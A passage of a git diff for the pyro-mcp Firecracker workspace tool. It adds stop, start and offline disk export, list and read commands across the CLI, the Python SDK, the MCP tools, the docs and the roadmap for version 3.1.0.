WORKSPACE_ID` - snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` +- stopped-workspace inspection: `pyro workspace stop WORKSPACE_ID`, `pyro workspace disk list WORKSPACE_ID`, `pyro workspace disk read WORKSPACE_ID note.txt`, and `pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` - interactive shells: `pyro workspace shell open WORKSPACE_ID` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - localhost-published ports: `pyro workspace create debian:12 --network-policy egress+published-ports` and `pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` @@ -246,6 +248,11 @@ pyro workspace service status WORKSPACE_ID web pyro workspace service logs WORKSPACE_ID web --tail-lines 50 pyro workspace service stop WORKSPACE_ID web pyro workspace service stop WORKSPACE_ID worker +pyro workspace stop WORKSPACE_ID +pyro workspace disk list WORKSPACE_ID +pyro workspace disk read WORKSPACE_ID src/note.txt +pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 +pyro workspace start WORKSPACE_ID pyro workspace logs WORKSPACE_ID pyro workspace delete WORKSPACE_ID ``` @@ -254,7 +261,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.1.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -268,7 +275,9 @@ service must be reachable from the host on `127.0.0.1`. Use `--secret` and `--se workspace creation when the sandbox needs private tokens or config, and `--secret-env SECRET_NAME[=ENV_VAR]` when one exec, shell, or service call needs that secret as an environment variable. Persisted secret files are available in the guest at -`/run/pyro-secrets/`. +`/run/pyro-secrets/`. Use `pyro workspace stop` plus `pyro workspace disk list|read|export` +when you need offline inspection or one raw ext4 copy from a stopped guest-backed workspace, then +`pyro workspace start` to resume it. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index ecfd18f..ffaa2a3 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -35,6 +35,7 @@ Recommended surface: - `workspace_create(..., secrets=...)` + `workspace_exec(..., secret_env=...)` when the workspace needs private tokens or authenticated setup - `workspace_create(..., network_policy="egress+published-ports")` + `start_service(..., published_ports=[...])` when the host must probe one workspace service - `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer +- `stop_workspace(...)` + `list_workspace_disk(...)` / `read_workspace_disk(...)` / `export_workspace_disk(...)` when one stopped guest-backed workspace needs offline inspection or a raw ext4 copy - `start_service` / `list_services` / `status_service` / `logs_service` / `stop_service` when the agent needs long-running processes inside that workspace - `open_shell(..., secret_env=...)` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace @@ -95,6 +96,9 @@ Lifecycle note: - use `diff_workspace(...)` when the agent needs a structured comparison against the immutable create-time baseline - use `export_workspace(...)` when the agent needs one file or directory copied back to the host +- use `stop_workspace(...)` plus `list_workspace_disk(...)`, `read_workspace_disk(...)`, or + `export_workspace_disk(...)` when the agent needs offline inspection or one raw ext4 copy from + a stopped guest-backed workspace - use `start_service(...)` when the agent needs long-running processes and typed readiness inside one workspace - use `open_shell(...)` when the agent needs interactive shell state instead of one-shot execs diff --git a/docs/public-contract.md b/docs/public-contract.md index 3d70ab4..e5f5fca 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -26,8 +26,13 @@ Top-level commands: - `pyro run` - `pyro workspace create` - `pyro workspace sync push` +- `pyro workspace stop` +- `pyro workspace start` - `pyro workspace exec` - `pyro workspace export` +- `pyro workspace disk export` +- `pyro workspace disk list` +- `pyro workspace disk read` - `pyro workspace diff` - `pyro workspace snapshot create` - `pyro workspace snapshot list` @@ -72,7 +77,13 @@ Behavioral guarantees: - `pyro workspace create --network-policy {off,egress,egress+published-ports}` controls workspace guest networking and whether services may publish localhost ports. - `pyro workspace create --secret NAME=VALUE` and `--secret-file NAME=PATH` persist guest-only UTF-8 secrets outside `/workspace`. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. +- `pyro workspace stop WORKSPACE_ID` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. +- `pyro workspace start WORKSPACE_ID` restarts one stopped workspace without resetting `/workspace`. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. +- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` copies the stopped guest-backed workspace rootfs as raw ext4 to the host. +- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` inspects a stopped guest-backed workspace rootfs offline without booting the guest. +- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]` reads one regular file from a stopped guest-backed workspace rootfs offline. +- `pyro workspace disk *` requires `state=stopped` and a guest-backed workspace; it fails on `host_compat`. - `pyro workspace diff WORKSPACE_ID` compares the current `/workspace` tree to the immutable create-time baseline. - `pyro workspace snapshot *` manages explicit named snapshots in addition to the implicit `baseline`. - `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_NAME|baseline]` recreates the full sandbox and restores `/workspace` from the chosen snapshot. @@ -108,7 +119,12 @@ Supported public entrypoints: - `Pyro.create_vm(...)` - `Pyro.create_workspace(..., network_policy="off", secrets=None)` - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` +- `Pyro.stop_workspace(workspace_id)` +- `Pyro.start_workspace(workspace_id)` - `Pyro.export_workspace(workspace_id, path, *, output_path)` +- `Pyro.export_workspace_disk(workspace_id, *, output_path)` +- `Pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=False)` +- `Pyro.read_workspace_disk(workspace_id, path, *, max_bytes=65536)` - `Pyro.diff_workspace(workspace_id)` - `Pyro.create_snapshot(workspace_id, snapshot_name)` - `Pyro.list_snapshots(workspace_id)` @@ -147,7 +163,12 @@ Stable public method names: - `create_vm(...)` - `create_workspace(..., network_policy="off", secrets=None)` - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` +- `stop_workspace(workspace_id)` +- `start_workspace(workspace_id)` - `export_workspace(workspace_id, path, *, output_path)` +- `export_workspace_disk(workspace_id, *, output_path)` +- `list_workspace_disk(workspace_id, path="/workspace", recursive=False)` +- `read_workspace_disk(workspace_id, path, *, max_bytes=65536)` - `diff_workspace(workspace_id)` - `create_snapshot(workspace_id, snapshot_name)` - `list_snapshots(workspace_id)` @@ -186,7 +207,13 @@ Behavioral defaults: - `Pyro.create_workspace(..., network_policy="off"|"egress"|"egress+published-ports")` controls workspace guest networking and whether services may publish host ports. - `Pyro.create_workspace(..., secrets=...)` persists guest-only UTF-8 secrets outside `/workspace`. - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. +- `Pyro.stop_workspace(...)` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. +- `Pyro.start_workspace(...)` restarts one stopped workspace without resetting `/workspace`. - `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. +- `Pyro.export_workspace_disk(...)` copies the stopped guest-backed workspace rootfs as raw ext4 to an explicit host path. +- `Pyro.list_workspace_disk(...)` inspects a stopped guest-backed workspace rootfs offline without booting the guest. +- `Pyro.read_workspace_disk(...)` reads one regular file from a stopped guest-backed workspace rootfs offline. +- stopped-workspace disk helpers require `state=stopped` and a guest-backed workspace; they fail on `host_compat`. - `Pyro.diff_workspace(...)` compares the current `/workspace` tree to the immutable create-time baseline. - `Pyro.create_snapshot(...)` captures one named `/workspace` checkpoint. - `Pyro.list_snapshots(...)` lists the implicit `baseline` plus any named snapshots. @@ -226,8 +253,13 @@ Persistent workspace tools: - `workspace_create` - `workspace_sync_push` +- `workspace_stop` +- `workspace_start` - `workspace_exec` - `workspace_export` +- `workspace_disk_export` +- `workspace_disk_list` +- `workspace_disk_read` - `workspace_diff` - `snapshot_create` - `snapshot_list` @@ -257,7 +289,13 @@ Behavioral defaults: - `workspace_create` accepts `network_policy` with `off`, `egress`, or `egress+published-ports` to control workspace guest networking and service port publication. - `workspace_create` accepts optional `secrets` and persists guest-only UTF-8 secret material outside `/workspace`. - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. +- `workspace_stop` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. +- `workspace_start` restarts one stopped workspace without resetting `/workspace`. - `workspace_export` exports one file or directory from `/workspace` to an explicit host path. +- `workspace_disk_export` copies the stopped guest-backed workspace rootfs as raw ext4 to an explicit host path. +- `workspace_disk_list` inspects a stopped guest-backed workspace rootfs offline without booting the guest. +- `workspace_disk_read` reads one regular file from a stopped guest-backed workspace rootfs offline. +- stopped-workspace disk tools require `state=stopped` and a guest-backed workspace; they fail on `host_compat`. - `workspace_diff` compares the current `/workspace` tree to the immutable create-time baseline. - `snapshot_create`, `snapshot_list`, and `snapshot_delete` manage explicit named snapshots in addition to the implicit `baseline`. - `workspace_reset` recreates the full sandbox and restores `/workspace` from `baseline` or one named snapshot. diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index d824f4a..b5482b4 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,7 +2,7 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `3.0.0`: +Current baseline is `3.1.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding, later sync push, and explicit export @@ -38,12 +38,12 @@ also expected to update: 6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done 7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done 8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done -9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) +9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) - Done -## Remaining Follow-Up +## Roadmap Status -The core workspace product is now stable. The remaining planned follow-up is intentionally -secondary: +The planned workspace roadmap is complete. -- `3.1.0` secondary disk tools for offline inspection and disk-level workflows -- no further roadmap milestone changes the stable workspace-first core contract +- `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without + changing the stable workspace-first core contract. +- Future work, if any, is now outside the planned vision milestones tracked in this roadmap. diff --git a/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md index a9015db..593d71e 100644 --- a/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md +++ b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md @@ -1,38 +1,59 @@ # `3.1.0` Secondary Disk Tools +Status: Done + ## Goal -Add the disk-level tools the vision explicitly places last, while keeping them -secondary to the workspace identity. +Add stopped-workspace disk tools the vision explicitly places last, while keeping them secondary +to the stable workspace identity. ## Public API Changes -Representative additions: +Shipped additions: -- stopped-workspace disk export/import helpers -- offline inspection helpers -- disk-oriented snapshot inspection - -Exact command names should reinforce that these are supporting tools rather than -the primary product contract. +- `pyro workspace stop WORKSPACE_ID` +- `pyro workspace start WORKSPACE_ID` +- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` +- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` +- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]` +- matching Python SDK methods: + - `stop_workspace` + - `start_workspace` + - `export_workspace_disk` + - `list_workspace_disk` + - `read_workspace_disk` +- matching MCP tools: + - `workspace_stop` + - `workspace_start` + - `workspace_disk_export` + - `workspace_disk_list` + - `workspace_disk_read` ## Implementation Boundaries -- keep these tools scoped to seeding, inspection, and offline workflows +- keep these tools scoped to stopped-workspace inspection, export, and offline workflows - do not replace shell, exec, services, diff, export, or reset as the main interaction model - prefer explicit stopped-workspace or offline semantics +- require guest-backed workspaces for `workspace disk *` +- keep disk export raw ext4 only in this milestone +- scrub runtime-only guest paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and + `/run/pyro-services` before offline inspection or export ## Non-Goals - no drift into generic image tooling identity - no replacement of workspace-level host crossing +- no disk import +- no disk mutation +- no create-from-disk workflow ## Acceptance Scenarios - inspect or export a stopped workspace disk for offline analysis -- import or snapshot content through disk-level tools without changing the main - workspace workflow +- stop a workspace, inspect `/workspace` offline, export raw ext4, then start the same workspace + again without resetting `/workspace` +- verify secret-backed workspaces scrub runtime-only guest paths before stopped-disk inspection ## Required Repo Updates diff --git a/examples/python_workspace.py b/examples/python_workspace.py index eaf0406..335c125 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -12,6 +12,7 @@ def main() -> None: tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir, tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir, tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-") as disk_dir, tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir, ): Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") @@ -71,6 +72,17 @@ def main() -> None: service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20) print(f"service_stdout_len={len(service_logs['stdout'])}") pyro.stop_service(workspace_id, "web") + stopped = pyro.stop_workspace(workspace_id) + print(f"stopped_state={stopped['state']}") + disk_listing = pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=True) + print(f"disk_entries={len(disk_listing['entries'])}") + disk_read = pyro.read_workspace_disk(workspace_id, "note.txt") + print(disk_read["content"], end="") + disk_image = Path(disk_dir, "workspace.ext4") + pyro.export_workspace_disk(workspace_id, output_path=disk_image) + print(f"disk_bytes={disk_image.stat().st_size}") + started = pyro.start_workspace(workspace_id) + print(f"started_state={started['state']}") reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") print(f"reset_count={reset['reset_count']}") print(f"secret_count={len(reset['secrets'])}") diff --git a/pyproject.toml b/pyproject.toml index 9987a30..b4a1ffe 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.0.0" +version = "3.1.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index a097903..78042b7 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -119,6 +119,12 @@ class Pyro: def status_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.status_workspace(workspace_id) + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.stop_workspace(workspace_id) + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.start_workspace(workspace_id) + def push_workspace_sync( self, workspace_id: str, @@ -151,6 +157,43 @@ class Pyro: def diff_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.diff_workspace(workspace_id) + def export_workspace_disk( + self, + workspace_id: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + return self._manager.export_workspace_disk( + workspace_id, + output_path=output_path, + ) + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + return self._manager.list_workspace_disk( + workspace_id, + path=path, + recursive=recursive, + ) + + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + return self._manager.read_workspace_disk( + workspace_id, + path=path, + max_bytes=max_bytes, + ) + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: return self._manager.create_snapshot(workspace_id, snapshot_name) @@ -457,6 +500,16 @@ class Pyro: """Inspect workspace state and latest command metadata.""" return self.status_workspace(workspace_id) + @server.tool() + async def workspace_stop(workspace_id: str) -> dict[str, Any]: + """Stop one persistent workspace without resetting `/workspace`.""" + return self.stop_workspace(workspace_id) + + @server.tool() + async def workspace_start(workspace_id: str) -> dict[str, Any]: + """Start one stopped persistent workspace without resetting `/workspace`.""" + return self.start_workspace(workspace_id) + @server.tool() async def workspace_logs(workspace_id: str) -> dict[str, Any]: """Return persisted command history for one workspace.""" @@ -476,6 +529,40 @@ class Pyro: """Compare `/workspace` to the immutable create-time baseline.""" return self.diff_workspace(workspace_id) + @server.tool() + async def workspace_disk_export( + workspace_id: str, + output_path: str, + ) -> dict[str, Any]: + """Export the raw stopped workspace rootfs image to one host path.""" + return self.export_workspace_disk(workspace_id, output_path=output_path) + + @server.tool() + async def workspace_disk_list( + workspace_id: str, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + """Inspect one stopped workspace rootfs path without booting the guest.""" + return self.list_workspace_disk( + workspace_id, + path=path, + recursive=recursive, + ) + + @server.tool() + async def workspace_disk_read( + workspace_id: str, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + """Read one regular file from a stopped workspace rootfs without booting the guest.""" + return self.read_workspace_disk( + workspace_id, + path, + max_bytes=max_bytes, + ) + @server.tool() async def snapshot_create(workspace_id: str, snapshot_name: str) -> dict[str, Any]: """Create one named workspace snapshot from the current `/workspace` tree.""" diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 6984aec..e866053 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -21,6 +21,7 @@ from pyro_mcp.vm_manager import ( DEFAULT_SERVICE_READY_INTERVAL_MS, DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, DEFAULT_VCPU_COUNT, + DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, WORKSPACE_GUEST_PATH, WORKSPACE_SHELL_SIGNAL_NAMES, ) @@ -253,6 +254,52 @@ def _print_workspace_export_human(payload: dict[str, Any]) -> None: ) +def _print_workspace_disk_export_human(payload: dict[str, Any]) -> None: + print( + "[workspace-disk-export] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"output_path={str(payload.get('output_path', 'unknown'))} " + f"disk_format={str(payload.get('disk_format', 'unknown'))} " + f"bytes_written={int(payload.get('bytes_written', 0))}" + ) + + +def _print_workspace_disk_list_human(payload: dict[str, Any]) -> None: + print( + f"Workspace disk path: {str(payload.get('path', WORKSPACE_GUEST_PATH))} " + f"(recursive={'yes' if bool(payload.get('recursive')) else 'no'})" + ) + entries = payload.get("entries") + if not isinstance(entries, list) or not entries: + print("No workspace disk entries found.") + return + for entry in entries: + if not isinstance(entry, dict): + continue + line = ( + f"{str(entry.get('path', 'unknown'))} " + f"[{str(entry.get('artifact_type', 'unknown'))}] " + f"size={int(entry.get('size_bytes', 0))}" + ) + link_target = entry.get("link_target") + if isinstance(link_target, str) and link_target != "": + line += f" -> {link_target}" + print(line) + + +def _print_workspace_disk_read_human(payload: dict[str, Any]) -> None: + _write_stream(str(payload.get("content", "")), stream=sys.stdout) + print( + "[workspace-disk-read] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"path={str(payload.get('path', 'unknown'))} " + f"size_bytes={int(payload.get('size_bytes', 0))} " + f"truncated={'yes' if bool(payload.get('truncated', False)) else 'no'}", + file=sys.stderr, + flush=True, + ) + + def _print_workspace_diff_human(payload: dict[str, Any]) -> None: if not bool(payload.get("changed")): print("No workspace changes.") @@ -687,6 +734,10 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./repo --dest src pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro workspace stop WORKSPACE_ID + pyro workspace disk list WORKSPACE_ID + pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 + pyro workspace start WORKSPACE_ID pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace diff WORKSPACE_ID @@ -1039,6 +1090,141 @@ def _build_parser() -> argparse.ArgumentParser: action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_stop_parser = workspace_subparsers.add_parser( + "stop", + help="Stop one workspace without resetting it.", + description=( + "Stop the backing sandbox, close shells, stop services, and preserve the " + "workspace filesystem, history, and snapshots." + ), + epilog="Example:\n pyro workspace stop WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_stop_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_stop_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_start_parser = workspace_subparsers.add_parser( + "start", + help="Start one stopped workspace without resetting it.", + description=( + "Start a previously stopped workspace from its preserved rootfs and " + "workspace state." + ), + epilog="Example:\n pyro workspace start WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_start_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_start_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_disk_parser = workspace_subparsers.add_parser( + "disk", + help="Inspect or export a stopped workspace disk.", + description=( + "Use secondary stopped-workspace disk tools for raw ext4 export and offline " + "inspection without booting the guest." + ), + epilog=dedent( + """ + Examples: + pyro workspace stop WORKSPACE_ID + pyro workspace disk list WORKSPACE_ID + pyro workspace disk read WORKSPACE_ID note.txt + pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 + + Disk tools are secondary to `workspace export` and require a stopped, guest-backed + workspace. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_disk_subparsers = workspace_disk_parser.add_subparsers( + dest="workspace_disk_command", + required=True, + metavar="DISK", + ) + workspace_disk_export_parser = workspace_disk_subparsers.add_parser( + "export", + help="Export the raw stopped workspace rootfs image.", + description="Copy the raw stopped workspace rootfs ext4 image to an explicit host path.", + epilog="Example:\n pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4", + formatter_class=_HelpFormatter, + ) + workspace_disk_export_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_disk_export_parser.add_argument( + "--output", + required=True, + help="Exact host path to create for the exported raw ext4 image.", + ) + workspace_disk_export_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_disk_list_parser = workspace_disk_subparsers.add_parser( + "list", + help="List files from a stopped workspace rootfs path.", + description=( + "Inspect one stopped workspace rootfs path without booting the guest. Relative " + "paths resolve inside `/workspace`; absolute paths inspect any guest path." + ), + epilog="Example:\n pyro workspace disk list WORKSPACE_ID src --recursive", + formatter_class=_HelpFormatter, + ) + workspace_disk_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_disk_list_parser.add_argument( + "path", + nargs="?", + default=WORKSPACE_GUEST_PATH, + metavar="PATH", + help="Guest path to inspect. Defaults to `/workspace`.", + ) + workspace_disk_list_parser.add_argument( + "--recursive", + action="store_true", + help="Recurse into nested directories.", + ) + workspace_disk_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_disk_read_parser = workspace_disk_subparsers.add_parser( + "read", + help="Read one regular file from a stopped workspace rootfs.", + description=( + "Read one regular file from a stopped workspace rootfs without booting the guest. " + "Relative paths resolve inside `/workspace`; absolute paths inspect any guest path." + ), + epilog="Example:\n pyro workspace disk read WORKSPACE_ID note.txt --max-bytes 4096", + formatter_class=_HelpFormatter, + ) + workspace_disk_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_disk_read_parser.add_argument("path", metavar="PATH") + workspace_disk_read_parser.add_argument( + "--max-bytes", + type=int, + default=DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, + help="Maximum number of decoded UTF-8 bytes to return.", + ) + workspace_disk_read_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_shell_parser = workspace_subparsers.add_parser( "shell", help="Open and manage persistent interactive shells.", @@ -1885,6 +2071,88 @@ def main() -> None: else: _print_workspace_reset_human(payload) return + if args.workspace_command == "stop": + try: + payload = pyro.stop_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Stopped workspace") + return + if args.workspace_command == "start": + try: + payload = pyro.start_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Started workspace") + return + if args.workspace_command == "disk": + if args.workspace_disk_command == "export": + try: + payload = pyro.export_workspace_disk( + args.workspace_id, + output_path=args.output, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_disk_export_human(payload) + return + if args.workspace_disk_command == "list": + try: + payload = pyro.list_workspace_disk( + args.workspace_id, + path=args.path, + recursive=bool(args.recursive), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_disk_list_human(payload) + return + if args.workspace_disk_command == "read": + try: + payload = pyro.read_workspace_disk( + args.workspace_id, + args.path, + max_bytes=args.max_bytes, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_disk_read_human(payload) + return if args.workspace_command == "shell": if args.workspace_shell_command == "open": secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index d952a8b..aeef937 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -8,6 +8,7 @@ PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "create", "delete", + "disk", "diff", "exec", "export", @@ -16,9 +17,12 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "service", "shell", "snapshot", + "start", "status", + "stop", "sync", ) +PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read") PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop") PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list") @@ -34,6 +38,9 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--secret-file", "--json", ) +PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json") +PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json") +PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--json") PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json") PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") @@ -68,6 +75,9 @@ PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", @@ -92,10 +102,12 @@ PUBLIC_SDK_METHODS = ( "exec_vm", "exec_workspace", "export_workspace", + "export_workspace_disk", "inspect_environment", "list_environments", "list_services", "list_snapshots", + "list_workspace_disk", "logs_service", "logs_workspace", "network_info_vm", @@ -104,17 +116,20 @@ PUBLIC_SDK_METHODS = ( "pull_environment", "push_workspace_sync", "read_shell", + "read_workspace_disk", "reap_expired", "reset_workspace", "run_in_vm", "signal_shell", "start_service", "start_vm", + "start_workspace", "status_service", "status_vm", "status_workspace", "stop_service", "stop_vm", + "stop_workspace", "write_shell", ) @@ -144,11 +159,16 @@ PUBLIC_MCP_TOOLS = ( "vm_stop", "workspace_create", "workspace_delete", + "workspace_disk_export", + 